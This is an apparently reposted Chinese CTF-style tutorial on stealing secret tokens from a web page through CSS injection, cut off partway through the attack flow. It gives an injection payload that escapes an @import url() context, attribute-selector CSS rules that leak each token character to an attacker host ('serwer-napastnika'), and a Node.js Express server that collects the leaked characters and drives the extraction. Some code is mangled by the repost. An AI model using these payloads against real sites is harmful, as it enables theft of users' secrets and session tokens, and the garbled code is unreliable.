通过CSS注入窃取HTML中的数据


通过CSS注入窃取HTML中的数据

文章插图
 
noxss2019 
可控点在@import url()路径中,但是尖括号和双引号等被转义了 。
通过CSS注入窃取HTML中的数据

文章插图
 
我们需要构造xss来获取下面 <script> 标签中 secret 的内容 。
通过CSS注入窃取HTML中的数据

文章插图
 
css本身是一种容错率很强的语言,css文件即使遇到错误,也会一直读取,直到有符合结构的语句 。
 
我们可以利用css解析的容错性构造 %0a){}body{color:red}/* 来执行任意css 。
通过CSS注入窃取HTML中的数据

文章插图
 
后面就是参考这篇文章:https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/去窃取管理员的secret内容 。
 
假设我们有一个php页面
<?php$token1 = md5($_SERVER['HTTP_USER_AGENT']);$token2 = md5($token1);?><!doctype html><meta charset=utf-8><input type=hidden value=https://www.isolves.com/it/aq/fwq/2019-12-19/>页面中有两个token,一个在 <input> 标签中,一个在 <script> 内 。
然后我们需要利用css参数构造xss来窃取这两个token 。
窃取input标签中的token
CSS选择器使我们能够准确选择HTML元素 。
/*选择value值为abc的input标签*/input[value=https://www.isolves.com/it/aq/fwq/2019-12-19/"abc"] { }/*选择value值以a开头的input标签 */input[value^="a"] { }因此我们可以利用此来为属性的第一个字符的所有可能值准备不同的样式
input[value^="0"] {background: url(http://serwer-napastnika/0);}input[value^="1"] {background: url(http://serwer-napastnika/1);}input[value^="2"] {background: url(http://serwer-napastnika/2);}...input[value^="e"] {background: url(http://serwer-napastnika/e);}input[value^="f"] {background: url(http://serwer-napastnika/f);}
通过CSS注入窃取HTML中的数据

文章插图
 

通过CSS注入窃取HTML中的数据

文章插图
 
同理我们可以依次提取出所有的token值 。
 
然后我们需要利用JAVAscript将上述过程自动化:
  • HTML页面将使用js把CSS提取到的内容请求到攻击者的服务器上
 
  • 攻击者的服务器会接受带有CSS提取的内容并进行反向通信,告诉客户端js如何提取内容
 
  • 客户端js与攻击者的服务器之间的通信将通过cookie 。例如如果攻击者的服务器收到token的前两个字符为’49’,则设置 cookie=49 ,客户端js将定期检查cookie是否已设置,如果已设置,它将使用其值生成新的CSS来提取下一个标记字符 。
假设服务器后端使用nodejs实现,创建package.json 并执行npm install
{"name": "css-attack-1","version": "1.0.0","description": "","main": "index.js","dependencies": {"express": "^4.15.5","js-cookie": "^2.1.4"},"devDependencies": {},"author": "","license": "ISC"}const express = require('express');const App = express();app.disable('etag');const PORT = 3000;app.get('/token/:token',(req,res) => {const { token } = req.params; //var {a} = {a:1, b:2}; => var obj = {a:1, b:2};var a = obj.a;console.log(token);res.cookie('token',token);res.send('')});app.get('/cookie.js',(req,res) => {res.sendFile('js.cookie.js',{root: './node_modules/js-cookie/src/'});});app.get('/index.html',(req,res) => {res.sendFile('index.html',{root: '.'});});app.listen(PORT, () => {console.log(`Listening on ${PORT}...`);});然后我们需要构造一个HTML文件来窃取token的所有下一个字符 。现在我们已知:
  • 我们要从0-9a-f范围内提取由32个字符组成的令牌,
 
  • 我们有一个存在CSS注入的页面,我们可以通过HTML的 <iframe> 标签来引用此页面 。
 
攻击流程如下:
  1. 如果我们目前设法提取的令牌长度小于预期的长度,则我们执行以下操作
  2. 删除包含所有先前提取数据的cookie
  3. 创建一个iframe标签,并引用一个易受攻击的页面,该页面具有相应的css代码,允许我们提取另一个标记字符 。


    推荐阅读